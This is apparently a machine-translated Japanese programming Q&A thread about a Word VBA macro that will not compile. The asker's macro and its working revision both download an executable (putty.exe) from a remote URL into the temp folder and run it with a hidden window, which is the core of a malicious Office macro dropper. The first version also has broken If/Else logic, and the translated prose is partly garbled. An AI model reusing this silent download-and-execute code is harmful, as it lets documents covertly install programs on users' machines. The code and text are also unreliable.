2016-11-03 4 views
0

私はダウンロードしてマクロを実行しようとしていました。私はVBのコードを終了し、それは正常に働いた、私はいくつかのサブに入れて、マクロとして実行しようとしました。エラーが発生するコンパイルエラーはマクロ語でのみ発生しますか?

Compile error, Syntax Error: objXMLHTTP.send()

マクロとしてのみエラーが発生するのは間違いです。ここで

は完全なコードです:私はこれにそれを変更し、それが正常に動作します

Sub macro() 
    Const ADTYPEBINARY = 1 
    Const ADSAVECREATEOVERWRITE = 2 

    Dim xHttp 
    Dim bStrm 
    Dim filename 
    Dim fso 

    Set fso = CreateObject("Scripting.FileSystemObject") 
    Dim tempfolder 
    Const TemporaryFolder = 2 
    Set tempfolder = fso.GetSpecialFolder(TemporaryFolder) 
    strFileURL = "ftp://username:[email protected]/putty.exe" 
    strHDLocation = tempfolder & "/putty.exe" 

    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") 

    objXMLHTTP.Open "GET", strFileURL, False 

    objXMLHTTP.send() 

    If objXMLHTTP.Status = 200 Then 
    Set objADOStream = CreateObject("ADODB.Stream") 
    objADOStream.Open 
    objADOStream.Type = 1 'adTypeBinary 
    Else 
    Set objADOStream = CreateObject("ADODB.Stream") 
    objADOStream.Open 
    objADOStream.Type = 1 'adTypeBinary 

    objADOStream.Write objXMLHTTP.ResponseBody 
    objADOStream.Position = 0 'Set the stream position to the start 

    Set objFSO = CreateObject("Scripting.FileSystemObject") 
    If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation 
    Set objFSO = Nothing 

    objADOStream.SaveToFile strHDLocation 
    objADOStream.Close 
    Set objADOStream = Nothing 
    End If 

    Set objXMLHTTP = Nothing 

    Set objShell = WScript.CreateObject("WScript.Shell") 
    objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True 
End Sub 
+1

あなたが関数 'objXMLHTTP.send(という(グーグル)を確認しました)' MS-Wordでサポートされていますか? VBSCRIPTはVBAと同じではなく、各Officeアプリケーションで使用されるライブラリには特定の機能があります(たとえば、PowerPointマクロ内のスプレッドシートを参照して何が起こるかなど)。 – FDavidov

+0

いいえ、ありがとう、私はサポートされている同様の機能を探します –

+0

エラーログを提供できますか? –

答えて

0

ありがとう:

Sub book() 
    Set objShell = CreateObject("Wscript.Shell") 
    Dim fso 

    Set fso = CreateObject("Scripting.FileSystemObject") 
    Dim tempfolder 
    Const TemporaryFolder = 2 
    Set tempfolder = fso.GetSpecialFolder(TemporaryFolder) 

    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") 
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") 
    xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", False 
    xHttp.Send 

    With bStrm 
     .Type = 1 '//binary 
     .Open 
     .Write xHttp.responseBody 
     .SaveTofile tempfolder & "/putty.exe", 2 '//overwrite 
    End With 

    objShell.Run "cmd /c " & tempfolder & "/putty.exe", 0, True 
End Sub 
+0

私のコメントがあなたを助けてくれたら、アップ投票を検討してください(私は_virtual報酬を得て楽しんでいます:-))。 – FDavidov

関連する問題